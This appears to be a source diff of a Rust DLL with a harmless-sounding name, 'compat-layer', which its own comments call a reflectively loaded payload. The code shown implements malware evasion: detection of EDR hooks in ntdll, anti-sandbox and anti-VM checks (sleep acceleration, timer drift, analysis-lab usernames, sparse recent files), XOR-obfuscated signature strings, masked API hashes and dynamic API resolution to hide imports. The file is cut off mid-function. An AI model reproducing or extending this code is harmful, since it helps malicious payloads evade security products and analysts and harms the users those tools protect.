# loader manually maps the image, and the MSVC CRT's TLS/CFG/stack-cookie
# machinery fast-fails under a manual map.
[target.x86_64-pc-windows-gnu]
rustflags = ["-C", "target-feature=+crt-static"]
@@ -0,0 +1 @@
/target
+7
View File
@@ -0,0 +1,7 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "compat-layer"
version = "0.1.0"
@@ -0,0 +1,17 @@
[package]
name = "compat-layer"
version = "0.1.0"
edition = "2021"
[lib]
name = "compat_layer"
crate-type = ["cdylib"]
[profile.release]
opt-level = 3
lto = "thin"
codegen-units = 1
panic = "abort"
strip = "symbols"
overflow-checks = false
debug = false
@@ -0,0 +1,256 @@
//! Raw Win32 FFI declarations and constants used by the payload.
//!
//! These are resolved through the normal PE import table, which the reflective
//! loader fixes up before DllMain runs.
#![allow(non_snake_case)]
#![allow(non_camel_case_types)]
#![allow(dead_code)]
use core::ffi::c_void;
// ---- Handles / return codes ----
pub const INVALID_HANDLE_VALUE: usize = usize::MAX;
// ---- CreateFileW ----
pub const GENERIC_READ: u32 = 0x8000_0000;
pub const GENERIC_WRITE: u32 = 0x4000_0000;
pub const FILE_SHARE_READ: u32 = 0x1;
pub const FILE_SHARE_WRITE: u32 = 0x2;
pub const FILE_SHARE_DELETE: u32 = 0x4;
pub const OPEN_EXISTING: u32 = 3;
pub const FILE_ATTRIBUTE_NORMAL: u32 = 0x80;
// ---- GetFileType ----
pub const FILE_TYPE_DISK: u32 = 0x0001;
// ---- DuplicateHandle ----
pub const DUPLICATE_SAME_ACCESS: u32 = 0x0000_0002;
// ---- Errors ----
pub const ERROR_SHARING_VIOLATION: u32 = 32;
// ---- Memory / protection ----
pub const PAGE_EXECUTE_READ: u32 = 0x20;
// ---- GetFileSize ----
pub const INVALID_FILE_SIZE: u32 = 0xFFFF_FFFF;
// ---- COM ----
pub const COINIT_APARTMENTTHREADED: u32 = 0x2;
pub const CLSCTX_LOCAL_SERVER: u32 = 0x4;
pub const RPC_C_AUTHN_DEFAULT: u32 = 0xFFFF_FFFF;
pub const RPC_C_AUTHZ_DEFAULT: u32 = 0xFFFF_FFFF;
pub const RPC_C_AUTHN_LEVEL_PKT_PRIVACY: u32 = 6;
pub const RPC_C_IMP_LEVEL_IMPERSONATE: u32 = 3;
pub const EOAC_DYNAMIC_CLOAKING: u32 = 0x40;
pub const RPC_E_CHANGED_MODE: i32 = 0x8001_0106u32 as i32;
// ---- GUID ----
#[repr(C)]
#[derive(Clone, Copy)]
pub struct GUID {
pub data1: u32,
pub data2: u16,
pub data3: u16,
pub data4: [u8; 8],
}
#[link(name = "kernel32")]
extern "system" {
pub fn DisableThreadLibraryCalls(hLibModule: usize) -> i32;
pub fn GetEnvironmentVariableW(
lpName: *const u16,
lpBuffer: *mut u16,
nSize: u32,
) -> u32;
pub fn CreateFileW(
lpFileName: *const u16,
dwDesiredAccess: u32,
dwShareMode: u32,
lpSecurityAttributes: *mut c_void,
dwCreationDisposition: u32,
dwFlagsAndAttributes: u32,
hTemplateFile: usize,
) -> usize;
pub fn ReadFile(
hFile: usize,
lpBuffer: *mut c_void,
nNumberOfBytesToRead: u32,
lpNumberOfBytesRead: *mut u32,
lpOverlapped: *mut c_void,
) -> i32;
pub fn WriteFile(
hFile: usize,
lpBuffer: *const c_void,
nNumberOfBytesToWrite: u32,
lpNumberOfBytesWritten: *mut u32,
lpOverlapped: *mut c_void,
) -> i32;
pub fn FlushFileBuffers(hFile: usize) -> i32;
pub fn CloseHandle(hObject: usize) -> i32;
pub fn GetFileType(hFile: usize) -> u32;
pub fn GetFinalPathNameByHandleW(
hFile: usize,
lpszFilePath: *mut u16,
cchFilePath: u32,
dwFlags: u32,
) -> u32;
pub fn DuplicateHandle(
hSourceProcessHandle: usize,
hSourceHandle: usize,
hTargetProcessHandle: usize,
lpTargetHandle: *mut usize,
dwDesiredAccess: u32,
bInheritHandle: i32,
dwOptions: u32,
) -> i32;
pub fn GetCurrentProcess() -> usize;
pub fn GetFileSize(hFile: usize, lpFileSizeHigh: *mut u32) -> u32;
pub fn GetLastError() -> u32;
// ---- anti-debug / anti-vm / runtime introspection ----
pub fn IsDebuggerPresent() -> i32;
pub fn QueryPerformanceCounter(lpCounter: *mut i64) -> i32;
pub fn GetTickCount64() -> u64;
pub fn GetSystemFirmwareTable(
firmware_table_provider_signature: u32,
firmware_table_id: u32,
p_firmware_table_buffer: *mut c_void,
buffer_size: u32,
) -> u32;
pub fn GetSystemInfo(lp_system_info: *mut c_void) -> ();
pub fn GlobalMemoryStatusEx(lp_buffer: *mut c_void) -> i32;
pub fn CreateToolhelp32Snapshot(dw_flags: u32, th32_process_id: u32) -> usize;
pub fn Process32FirstW(h_snapshot: usize, lppe: *mut c_void) -> i32;
pub fn Process32NextW(h_snapshot: usize, lppe: *mut c_void) -> i32;
pub fn OpenProcess(dw_desired_access: u32, b_inherit_handle: i32, dw_process_id: u32) -> usize;
// ---- anti-sandbox: hooked-path Sleep (must go through the normal API so
// sandbox sleep-skipping is observable) ----
pub fn Sleep(dw_milliseconds: u32);
// ---- anti-sandbox: directory enumeration (Recent files count etc.) ----
pub fn FindFirstFileExW(
lp_file_name: *const u16,
f_info_level_id: u32,
lp_find_file_data: *mut c_void,
f_search_op: u32,
lp_search_filter: *mut c_void,
dw_additional_flags: u32,
) -> usize;
pub fn FindNextFileW(h_find_file: usize, lp_find_file_data: *mut c_void) -> i32;
// ---- anti-vm: registry probing (advapi32, declared below) ----
// ---- anti-vm: filesystem artifacts (kernel32) ----
// GetFileAttributesW declared in the separate extern block below.
// ---- anti-vm: adapter info / input / disk / windows ----
// Declared in their respective extern blocks below.
// ---- anti-dump / memory introspection (kept; VirtualProtect/NtQuery* are
// resolved at runtime via apires so they don't appear in the import table) ----
pub fn VirtualQuery(lp_address: *const c_void, lp_buffer: *mut c_void, dw_length: usize) -> usize;
}
#[link(name = "ole32")]
extern "system" {
pub fn CoInitializeEx(pvReserved: *mut c_void, dwCoInit: u32) -> i32;
pub fn CoUninitialize();
pub fn CoCreateInstance(
rclsid: *const GUID,
pUnkOuter: *mut c_void,
dwClsContext: u32,
riid: *const GUID,
ppv: *mut *mut c_void,
) -> i32;
pub fn CoSetProxyBlanket(
pProxy: *mut c_void,
dwAuthnSvc: u32,
dwAuthzSvc: u32,
pServerPrincName: *mut u16,
dwAuthnLevel: u32,
dwImpLevel: u32,
pAuthInfo: *mut c_void,
dwCapabilities: u32,
) -> i32;
}
#[link(name = "oleaut32")]
extern "system" {
pub fn SysAllocStringByteLen(psz: *const u8, len: u32) -> *mut u16;
pub fn SysFreeString(bstrString: *mut u16);
pub fn SysStringByteLen(bstrString: *mut u16) -> u32;
}
// ---- Display (user32) : used to detect virtual/OEM display drivers via a very
// low refresh-rate signature and driver name. ----
pub const ENUM_CURRENT_SETTINGS: u32 = 0xFFFFFFFF;
#[repr(C)]
#[derive(Clone, Copy)]
pub struct DEVMODEW {
pub dm_device_name: [u16; 32],
pub dm_spec_version: u16,
pub dm_driver_version: u16,
pub dm_size: u16,
pub dm_driver_extra: u16,
pub dm_fields: u32,
pub dm_union: [u32; 12], // union of position/orientation/etc; shrunk to 12
pub dm_display_orientation: i32,
pub dm_display_fixed_output: u32,
pub dm_color: i16,
pub dm_duplex: i16,
pub dm_y_resolution: i16,
pub dm_t_t_option: i16,
pub dm_collate: i16,
pub dm_form_name: [u16; 32],
pub dm_log_pixels: u16,
pub dm_bits_per_pel: u32,
pub dm_pels_width: u32,
pub dm_pels_height: u32,
pub dm_display_flags: u32,
pub dm_display_frequency: u32,
pub dm_icc_margin: u32,
pub dm_display_orientation2: u32,
pub dm_display_fixed_output2: u32,
pub dm_panning_width: u32,
pub dm_panning_height: u32,
}
#[link(name = "user32")]
extern "system" {
// Anti-analysis user32 APIs (window/display/input enumeration) are resolved
// at runtime via `dynapi` — they are NOT statically imported. The user32
// link block is retained only for APIs that are both benign and needed at
// link time elsewhere; currently none qualify, so this block is empty.
}
// ---- anti-vm: registry (advapi32) ----
// Registry probing APIs are resolved at runtime via `dynapi` to keep the
// import table clean. Only constants remain.
pub const HKEY_LOCAL_MACHINE: usize = 0x8000_0002;
pub const KEY_READ: u32 = 0x2001_9;
// ---- anti-vm: network adapters (iphlpapi) ----
// GetAdaptersAddresses resolved at runtime via `dynapi`.
// ---- anti-vm: kernel32 extras (same link block as above; declared separately
// for clarity) ----
extern "system" {
pub fn GetFileAttributesW(lp_file_name: *const u16) -> u32;
pub fn GetDriveTypeW(lp_root_path_name: *const u16) -> u32;
pub fn GetVolumeInformationW(
lp_root_path_name: *const u16,
lp_volume_name_buffer: *mut u16,
n_volume_name_size: u32,
lp_volume_serial_number: *mut u32,
lp_maximum_component_length: *mut u32,
lp_file_system_flags: *mut u32,
lp_file_system_name_buffer: *mut u16,
n_file_system_name_size: u32,
) -> i32;
pub fn Module32FirstW(h_snapshot: usize, lpme: *mut c_void) -> i32;
pub fn Module32NextW(h_snapshot: usize, lpme: *mut c_void) -> i32;
}
@@ -0,0 +1,357 @@
//! Userland hook detection — comprehensive.
//!
//! EDRs and sandboxes typically hot-patch the first bytes of critical NT APIs
//! (ntdll) to redirect execution into their own instrumentation. An unhooked
//! x64 syscall stub begins with a fixed prologue (`mov r10, rcx; mov eax, <nr>;
//! syscall; ret`) — a hook replaces this with a `jmp`/`push`/`mov` into their DLL.
//!
//! We detect:
//! - Inline hooks (code patching at function entry)
//! - IAT/EAT hooks (import/export address table modifications)
//! - Syscall stub corruption
//! - Module list manipulation (hidden modules)
//! - Breakpoint / hardware breakpoint detection
use core::ptr;
use crate::apires;
use crate::gen;
use crate::syscall::{r as unmask, HASH_KEY};
/// Public byte-reader for cross-module use (syscall number extraction).
pub(crate) unsafe fn read_bytes_pub(ptr_addr: usize, buf: &mut [u8]) -> usize {
let n = buf.len().min(32);
for i in 0..n {
buf[i] = ptr::read_volatile((ptr_addr + i) as *const u8);
}
n
}
// Rotating-hash constants for the NT functions we probe (algorithm verified
// against apires::hash_ascii). Stored XORed with HASH_KEY so the raw API-hash
// values never appear in the binary; unmask() recovers them at runtime.
const HASH_NTPROTECT_VIRTUAL_MEMORY: u32 = 0x70D7_B0A8 ^ HASH_KEY;
const HASH_NTQUERY_VIRTUAL_MEMORY: u32 = 0x7136_40A8 ^ HASH_KEY;
const HASH_NTALLOCATE_VIRTUAL_MEMORY: u32 = 0x7088_E8A8 ^ HASH_KEY;
const HASH_NTFREE_VIRTUAL_MEMORY: u32 = 0x7063_80A8 ^ HASH_KEY;
const HASH_NTCREATE_THREAD_EX: u32 = 0xD904_009C ^ HASH_KEY;
const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY;
const HASH_NTQUERY_SYSTEM_INFORMATION: u32 = 0x3074_649B ^ HASH_KEY;
const HASH_NTREAD_VIRTUAL_MEMORY: u32 = 0x703D_80A8 ^ HASH_KEY;
const HASH_NTWRITE_VIRTUAL_MEMORY: u32 = 0x70A6_40A8 ^ HASH_KEY;
const HASH_LDR_LOAD_DLL: u32 = 0x4600_0094 ^ HASH_KEY;
/// Read `len` bytes from an address (volatile) into a buffer.
unsafe fn read_bytes(ptr_addr: usize, buf: &mut [u8]) -> usize {
let n = buf.len().min(32);
for i in 0..n {
buf[i] = ptr::read_volatile((ptr_addr + i) as *const u8);
}
n
}
/// Check if bytes look like a clean x64 syscall stub.
/// Pattern: 4C 8B D1 B8 ?? ?? ?? ?? 0F 05 C3
unsafe fn is_clean_syscall_stub(buf: &[u8]) -> bool {
if buf.len() < 12 {
return false;
}
// mov r10, rcx
if buf[0] != 0x4C || buf[1] != 0x8B || buf[2] != 0xD1 {
return false;
}
// mov eax, imm32
if buf[3] != 0xB8 {
return false;
}
// syscall (0F 05) at offset 8-9
if buf[8] != 0x0F || buf[9] != 0x05 {
return false;
}
// ret (C3) at offset 10
if buf[10] != 0xC3 {
return false;
}
true
}
/// Check for common hook prologues: JMP (E9/EB), indirect JMP (FF 25),
/// PUSH+MOV trampoline, INT3 (CC), etc.
unsafe fn has_hook_prologue(buf: &[u8]) -> bool {
if buf.is_empty() {
return true; // unreadable = suspicious
}
match buf[0] {
0xE9 | 0xEB => true, // JMP rel32/rel8
0xFF => { // Possible indirect JMP/CALL
if buf.len() > 1 && (buf[1] == 0x25 || buf[1] == 0x15) {
return true; // FF 25 (jmp [rip+disp32]) or FF 15 (call [rip+disp32])
}
false
}
0x68 => true, // PUSH imm32 (trampoline start)
0xCC => true, // INT3 (breakpoint)
0xC3 => { // RET at entry = empty stub or trampoline
if buf.len() >= 2 && buf[1] == 0x90 {
return true; // RET + NOP = suspicious
}
false
}
_ => false,
}
}
/// Check for inline hook by comparing first N bytes against clean stub.
unsafe fn check_inline_hook(addr: usize) -> bool {
let mut probe = [0u8; 32];
read_bytes(addr, &mut probe);
// If it's a clean syscall stub, not hooked
if is_clean_syscall_stub(&probe) {
return false;
}
// If it has a hook prologue, it's hooked
if has_hook_prologue(&probe) {
return true;
}
// Additional heuristic: check for unexpected instructions in first 16 bytes
// Clean ntdll stubs don't have: CALL, LOOP, conditional Jcc in first bytes
for i in 0..16.min(probe.len()) {
match probe[i] {
0xE8 | 0xE9 | 0xEB | 0xFF | 0x68 | 0xCC | 0x0F => {
// 0F could be conditional jump or syscall; check next byte
if probe[i] == 0x0F && i + 1 < probe.len() {
let next = probe[i + 1];
// 0F 05 = syscall (OK), 0F 34 = sysenter (OK)
// 0F 8x = Jcc (suspicious at entry)
if (0x80..=0x8F).contains(&next) {
return true;
}
} else {
return true;
}
}
_ => {}
}
}
false
}
/// Check IAT for a given module - look for entries pointing outside expected modules.
unsafe fn check_iat_hooks(module_base: usize) -> bool {
// Parse PE headers to find Import Address Table
let dos_hdr = module_base as *const u8;
if ptr::read_volatile(dos_hdr) != 0x4D || ptr::read_volatile(dos_hdr.add(1)) != 0x5A {
return false; // Not a valid PE
}
let lfanew = ptr::read_volatile((module_base + 0x3C) as *const u32) as usize;
let nt_hdr = module_base + lfanew;
if ptr::read_volatile(nt_hdr as *const u32) != 0x0000_4550 {
return false; // Not PE32+
}
// Optional header starts at nt_hdr + 24
let opt_hdr = nt_hdr + 24;
let magic = ptr::read_volatile(opt_hdr as *const u16);
let is_pe64 = magic == 0x20B;
// Data directories: offset 96 (PE32) or 112 (PE32+)
let dir_offset = if is_pe64 { 112 } else { 96 };
let import_dir_rva = ptr::read_volatile((nt_hdr + dir_offset + 0) as *const u32) as usize;
let import_dir_size = ptr::read_volatile((nt_hdr + dir_offset + 4) as *const u32) as usize;
if import_dir_rva == 0 || import_dir_size == 0 {
return false;
}
let import_desc = (module_base + import_dir_rva) as *const u8;
let mut suspicious = 0u32;
let mut idx = 0usize;
loop {
let name_rva = ptr::read_volatile((import_desc.add(idx).add(12)) as *const u32) as usize;
if name_rva == 0 {
break;
}
let thunk_rva = ptr::read_volatile((import_desc.add(idx).add(16)) as *const u32) as usize;
if thunk_rva == 0 {
idx += 20;
continue;
}
// Walk thunk array
let mut thunk_idx = 0usize;
loop {
let thunk_addr = module_base + thunk_rva + thunk_idx * if is_pe64 { 8 } else { 4 };
let thunk_val = if is_pe64 {
ptr::read_volatile(thunk_addr as *const u64) as usize
} else {
ptr::read_volatile(thunk_addr as *const u32) as usize
};
if thunk_val == 0 {
break;
}
// Check if thunk points outside known modules (ntdll, kernel32, kernelbase)
let in_known = is_in_known_module(thunk_val);
if !in_known && thunk_val != 0 {
suspicious += 1;
if suspicious > 5 {
return true;
}
}
thunk_idx += 1;
}
idx += 20;
}
false
}
unsafe fn is_in_known_module(addr: usize) -> bool {
let peb = apires::peb_ptr();
let ldr = ptr::read_volatile((peb + 0x18) as *const usize);
if ldr == 0 { return false; }
let head = ptr::read_volatile((ldr + 0x20) as *const usize);
if head == 0 { return false; }
let mut cur = head;
loop {
if cur == 0 { break; }
let entry = cur.wrapping_sub(0x10);
let base = ptr::read_volatile((entry + 0x30) as *const usize);
let size = ptr::read_volatile((entry + 0x40) as *const usize); // SizeOfImage
if base != 0 && addr >= base && addr < base + size {
return true;
}
let next = ptr::read_volatile((entry + 0x10) as *const usize);
if next == head || next == cur { break; }
cur = next;
}
false
}
/// Check for hidden modules (modules in memory but not in PEB list).
/// Compares VAD regions against PEB module list.
unsafe fn check_hidden_modules() -> bool {
// This is complex; simplified version: check if ntdll base from PEB
// matches ntdll base from KnownDlls or manual scan.
let peb_ntdll = apires::ntdll_base();
if peb_ntdll == 0 {
return true; // Suspicious: ntdll not in PEB
}
// Check KnownDlls directory (requires more code)
// For now, basic sanity: ntdll should be readable and have exports
let mut probe = [0u8; 4];
read_bytes(peb_ntdll, &mut probe);
if ptr::read_volatile(probe.as_ptr() as *const u32) != 0x0000_4550 { // Not "MZ" + "PE"
return true; // ntdll corrupted?
}
false
}
/// Return true if a resolved NT function looks hooked (not a stock stub).
unsafe fn nt_looks_hooked(resolved: usize) -> bool {
if resolved == 0 {
return true;
}
check_inline_hook(resolved)
}
/// Probe ntdll exports we resolve by hash and see if any are hooked.
/// Also checks IAT of current module and kernel32.
/// Returns true if instrumentation was detected.
pub unsafe fn detect_hooks() -> bool {
let mut hooked = 0u32;
let mut checked = 0u32;
// Critical NT APIs to check
let mut critical_apis = [
unmask(HASH_NTPROTECT_VIRTUAL_MEMORY),
unmask(HASH_NTQUERY_VIRTUAL_MEMORY),
unmask(HASH_NTALLOCATE_VIRTUAL_MEMORY),
unmask(HASH_NTFREE_VIRTUAL_MEMORY),
unmask(HASH_NTCREATE_THREAD_EX),
unmask(HASH_NTQUERY_INFORMATION_PROCESS),
unmask(HASH_NTQUERY_SYSTEM_INFORMATION),
unmask(HASH_NTREAD_VIRTUAL_MEMORY),
unmask(HASH_NTWRITE_VIRTUAL_MEMORY),
unmask(HASH_LDR_LOAD_DLL),
];
// Shuffle order using HOOK_ORDER_SEED for polymorphic behavior
let mut seed = gen::HOOK_ORDER_SEED;
for i in (1..critical_apis.len()).rev() {
seed = seed.wrapping_mul(0x9E37_79B9).wrapping_add(0x7F4A_7C15);
let j = (seed as usize) % (i + 1);
critical_apis.swap(i, j);
}
for &hash in &critical_apis {
if let Some(addr) = resolve_export(hash) {
checked += 1;
if nt_looks_hooked(addr) {
hooked += 1;
}
} else {
hooked += 1; // Failed to resolve = suspicious
}
}
// Check IAT of current module
let peb = apires::peb_ptr();
let ldr = ptr::read_volatile((peb + 0x18) as *const usize);
if ldr != 0 {
let head = ptr::read_volatile((ldr + 0x20) as *const usize);
if head != 0 {
let mut cur = head;
loop {
if cur == 0 { break; }
let entry = cur.wrapping_sub(0x10);
let base = ptr::read_volatile((entry + 0x30) as *const usize);
let _name_ptr = ptr::read_volatile((entry + 0x60) as *const usize);
let _name_len = ptr::read_volatile((entry + 0x58) as *const u16) as usize;
// Check if this is our own module (first entry usually)
if base != 0 {
if check_iat_hooks(base) {
hooked += 2; // IAT hook is more severe
}
break; // Only check first module (our EXE)
}
let next = ptr::read_volatile((entry + 0x10) as *const usize);
if next == head || next == cur { break; }
cur = next;
}
}
}
// Check for hidden modules
if check_hidden_modules() {
hooked += 2;
}
// Threshold: 2+ hooked critical APIs, or any IAT/hidden module anomaly
hooked >= 2
}
/// Resolve an ntdll export by name hash, returning Some(VA) or None.
pub unsafe fn resolve_export(want: u32) -> Option<usize> {
let base = apires::ntdll_base();
if base == 0 {
return None;
}
let addr = apires::export_by_hash_public(base, want);
if addr == 0 {
None
} else {
Some(addr)
}
}
/// Public: check if a specific address looks hooked (for external use).
pub unsafe fn is_address_hooked(addr: usize) -> bool {
check_inline_hook(addr)
}
@@ -0,0 +1,540 @@
//! Anti-sandbox detection — reliability-focused.
//!
//! Design goal: near-zero false positives on real user machines while still
//! catching automated analysis environments (Cuckoo, CAPE, Joe, Any.Run,
//! custom sandboxes).
//!
//! Reliability strategy:
//! 1. **Hard signals** — physically impossible on a clean host (Sleep
//! acceleration, timer tampering). Each alone is conclusive.
//! 2. **Strong signals** — very rare on real machines (sandbox identity
//! markers, empty desktop). Counted individually.
//! 3. **Weak signals** — occasionally seen on legit machines (few recent
//! files, small screen, quiet mouse). Only counted when at least one
//! strong signal corroborates them. This corroboration rule is what
//! makes the overall verdict reliable.
//!
//! All signature strings are XOR-obfuscated; all checks are independent so a
//! sandbox that spoofs one vector does not defeat the rest.
#![allow(dead_code)]
use core::arch::asm;
use core::ffi::c_void;
use core::ptr;
use crate::abi;
use crate::dynapi;
use crate::gen;
use crate::obf;
use crate::syscall;
// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------
fn lower(b: &[u8]) -> Vec<u8> {
b.iter().map(|c| c.to_ascii_lowercase()).collect()
}
fn contains(hay: &[u8], needle: &[u8]) -> bool {
if needle.is_empty() || hay.len() < needle.len() {
return false;
}
hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle))
}
fn wide(s: &[u8]) -> Vec<u16> {
s.iter().map(|&c| c as u16).chain(core::iter::once(0)).collect()
}
unsafe fn reg_key_exists(subkey_wide: &[u16]) -> bool {
let mut hk: usize = 0;
let status = dynapi::RegOpenKeyExW(
abi::HKEY_LOCAL_MACHINE,
subkey_wide.as_ptr(),
0,
abi::KEY_READ,
&mut hk,
);
if status == 0 {
dynapi::RegCloseKey(hk);
true
} else {
false
}
}
#[inline]
unsafe fn rdtsc_now() -> u64 {
let mut lo: u32;
let mut hi: u32;
asm!("lfence", "rdtsc", out("eax") lo, out("edx") hi, options(nostack, preserves_flags));
((hi as u64) << 32) | lo as u64
}
// ---------------------------------------------------------------------------
// HARD SIGNAL 1: Sleep acceleration (the classic, highly reliable check)
//
// Sandboxes (Cuckoo/CAPE/Joe and many EDR detonation chambers) hook
// kernel32!Sleep / ntdll!NtDelayExecution and fast-forward long waits to cut
// analysis time. We call the *normal hooked API path* (kernel32!Sleep) and
// measure real elapsed time with QueryPerformanceCounter. If the wall clock
// advanced far less than requested, the sleep was manipulated — no clean
// Windows host does this.
// ---------------------------------------------------------------------------
pub fn sleep_accelerated(request_ms: u32) -> bool {
unsafe {
let mut q0: i64 = 0;
let mut q1: i64 = 0;
abi::QueryPerformanceCounter(&mut q0);
abi::Sleep(request_ms);
abi::QueryPerformanceCounter(&mut q1);
let freq = query_freq();
let elapsed_ms = if freq > 0 {
((q1 - q0) as f64) / (freq as f64) * 1000.0
} else {
request_ms as f64 // can't measure; don't flag
};
// Generous margin to avoid FP from scheduling hiccups: only flag when
// less than 80% of the requested time actually passed. Real sleeps
// always overshoot slightly, never undershoot by >20%.
elapsed_ms < (request_ms as f64) * 0.80
}
}
unsafe fn query_freq() -> i64 {
// QueryPerformanceFrequency via direct link (add to kernel32 block).
extern "system" {
fn QueryPerformanceFrequency(lp_frequency: *mut i64) -> i32;
}
let mut f: i64 = 0;
if QueryPerformanceFrequency(&mut f) != 0 {
f
} else {
0
}
}
/// Kernel-level variant: even our *own* NtDelayExecution (direct syscall,
/// bypassing any userland hook) returns early. Catches kernel-timer
/// manipulation (rare, e.g. some kernel-mode sandboxes).
pub fn kernel_sleep_accelerated(request_ms: u32) -> bool {
unsafe {
let t0 = abi::GetTickCount64();
let interval: i64 = -((request_ms as i64) * 10_000);
syscall::sys_nt_delay_execution(0, &interval as *const i64);
let t1 = abi::GetTickCount64();
// GetTickCount itself could be faked; require both sources to agree
// that time barely moved before flagging.
let tick_delta = t1.saturating_sub(t0);
(tick_delta as f64) < (request_ms as f64) * 0.5 && tick_delta < request_ms as u64
}
}
// ---------------------------------------------------------------------------
// HARD SIGNAL 2: Timer inconsistency (RDTSC vs QPC drift)
//
// Under single-stepping instrumentation the TSC advances wildly relative to
// the monotonic QPC clock between samples. Two spaced samples of the ratio
// should agree closely on clean hardware.
// ---------------------------------------------------------------------------
pub fn timer_inconsistent() -> bool {
unsafe {
let mut q0: i64 = 0;
let mut q1: i64 = 0;
let f = query_freq();
if f <= 0 {
return false;
}
let t_a = rdtsc_now();
abi::QueryPerformanceCounter(&mut q0);
// Small deterministic busy work (~ms scale).
let mut sink: u64 = 0;
for i in 0..200_000u64 {
sink ^= i.wrapping_mul(0x9E37_79B9);
}
core::hint::black_box(sink);
abi::QueryPerformanceCounter(&mut q1);
let t_b = rdtsc_now();
let qpc_d = (q1 - q0).max(1) as f64;
let tsc_d1 = (t_b - t_a) as f64;
let ratio1 = tsc_d1 / qpc_d;
// Second sample after a real sleep so the two windows are separated.
abi::Sleep(120);
let t_c = rdtsc_now();
abi::QueryPerformanceCounter(&mut q0);
let mut sink2: u64 = 0;
for i in 0..200_000u64 {
sink2 ^= i.wrapping_mul(0x85EB_CA6B);
}
core::hint::black_box(sink2);
abi::QueryPerformanceCounter(&mut q1);
let t_d = rdtsc_now();
let qpc_d2 = (q1 - q0).max(1) as f64;
let tsc_d2 = (t_d - t_c) as f64;
let ratio2 = tsc_d2 / qpc_d2;
// On clean hardware both ratios approximate the fixed TSC/QPC rate.
let hi = ratio1.max(ratio2);
let lo = ratio1.min(ratio2);
// >4x divergence between windows means something injected cycles or
// froze one clock — stepping debuggers inflate TSC massively.
hi > lo * 4.0 && hi > 50.0
}
}
// ---------------------------------------------------------------------------
// STRONG SIGNAL: identity markers in USERNAME / COMPUTERNAME
//
// Well-known analysis-lab account names. A hit alone isn't conclusive (a dev
// could be named "test"), so weight it strong-but-not-hard.
// ---------------------------------------------------------------------------
pub fn identity_markers() -> bool {
// Deliberately excludes common personal names (high FP risk); keeps only
// labels that are effectively never chosen by real users.
let key: u8 = gen::K_ENV;
let names: [(obf::Slot, u32); 10] = [
obf::sig(key, 0x7001, b"BUDDY"),
obf::sig(key, 0x7002, b"JOHN DOE"),
obf::sig(key, 0x7003, b"SANDOX"),
obf::sig(key, 0x7004, b"CURRENTUSER"),
obf::sig(key, 0x7005, b"FORTINET"),
obf::sig(key, 0x7006, b"VIRUSBOT"),
obf::sig(key, 0x7007, b"MALWAREBOT"),
obf::sig(key, 0x7008, b"SANDBOX"),
obf::sig(key, 0x7009, b"CUCKOO"),
obf::sig(key, 0x700a, b"AUTOUSER"),
];
const LENS: [usize; 10] = [5, 8, 6, 11, 8, 8, 10, 7, 6, 8];
let env_names: [&[u8]; 3] = [b"USERNAME", b"COMPUTERNAME", b"USERDOMAIN"];
let mut buf = [0u16; 128];
unsafe {
for ev in env_names {
let w = wide(ev);
let got = abi::GetEnvironmentVariableW(w.as_ptr(), buf.as_mut_ptr(), 128);
if got == 0 || got >= 128 {
continue;
}
let val: Vec<u8> = buf[..got as usize].iter().map(|&c| c as u8).collect();
let vl = lower(&val);
for (i, s) in names.iter().enumerate() {
let plain = obf::dec_sig(key, s, LENS[i]);
if contains(&vl, &plain[..LENS[i]]) {
return true;
}
}
}
}
false
}
// ---------------------------------------------------------------------------
// STRONG SIGNAL: desktop emptiness (Recent-items count)
//
// A real, used machine has dozens of shell Recent links. A pristine snapshot
// has ~none. Freshly-imaged legit machines are the main FP risk, hence this
// is "strong", not hard.
// ---------------------------------------------------------------------------
#[repr(C)]
struct FindDataW {
dw_attributes: u32,
_creation: u64,
_access: u64,
_write: u64,
_size_high: u32,
_size_low: u32,
_res0: u32,
_res1: u32,
c_file_name: [u16; 260],
_alt: [u16; 14],
_pad: [u16; 2],
}
unsafe fn count_files(dir_wide: &[u16], max_count: u32) -> u32 {
const FIND_FIRST_EX_CASE_SENSITIVE: u32 = 1;
let _ = FIND_FIRST_EX_CASE_SENSITIVE;
let mut count: u32 = 0;
let mut fd: FindDataW = core::mem::zeroed();
let h = abi::FindFirstFileExW(
dir_wide.as_ptr(),
0, // FindExInfoStandard
&mut fd as *mut _ as *mut c_void,
0, // FindExSearchNameMatch
ptr::null_mut(),
0,
);
if h == usize::MAX || h == 0 {
return 0;
}
loop {
let name_len = fd.c_file_name.iter().position(|&c| c == 0).unwrap_or(0);
// skip "." and ".."
let dot = name_len == 1 && fd.c_file_name[0] == '.' as u16;
let dotdot = name_len == 2 && fd.c_file_name[0] == '.' as u16 && fd.c_file_name[1] == '.' as u16;
if !dot && !dotdot {
count += 1;
if count >= max_count {
break;
}
}
if abi::FindNextFileW(h, &mut fd as *mut _ as *mut c_void) == 0 {
break;
}
}
extern "system" { fn FindClose(h_find_file: usize) -> i32; }
FindClose(h);
count
}
pub fn desktop_activity_sparse() -> bool {
unsafe {
// %APPDATA%\Microsoft\Windows\Recent\*
let mut appdata = [0u16; 160];
let av_w = wide(b"APPDATA");
let n = abi::GetEnvironmentVariableW(av_w.as_ptr(), appdata.as_mut_ptr(), 150);
if n == 0 || n >= 140 {
return false;
}
let mut pattern: Vec<u16> = appdata[..n as usize].to_vec();
let suffix = b"\\Microsoft\\Windows\\Recent\\*";
for &c in suffix {
pattern.push(c as u16);
}
pattern.push(0);
let recents = count_files(&pattern, 40);
// < 4 recent items on a booted-and-used machine is unusual.
recents < 4
}
}
/// Number of installed programs (Uninstall subkeys). Sparse program lists
/// suggest a disposable image. Weak-ish on its own; part of desktop profile.
pub fn installed_programs_sparse(min_expected: u32) -> bool {
let path = wide(b"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall");
unsafe {
let mut hk: usize = 0;
if dynapi::RegOpenKeyExW(
abi::HKEY_LOCAL_MACHINE,
path.as_ptr(),
0,
abi::KEY_READ,
&mut hk,
) != 0
{
return true; // can't even open Uninstall = broken/minimal image
}
let mut idx: u32 = 0;
let mut count: u32 = 0;
let mut name_buf = [0u16; 256];
loop {
let mut sz: u32 = 256;
let st = dynapi::RegEnumKeyExW(
hk, idx,
name_buf.as_mut_ptr(), &mut sz,
ptr::null_mut(), ptr::null_mut(), ptr::null_mut(), ptr::null_mut(),
);
if st != 0 {
break;
}
count += 1;
if count >= min_expected {
break;
}
idx += 1;
}
dynapi::RegCloseKey(hk);
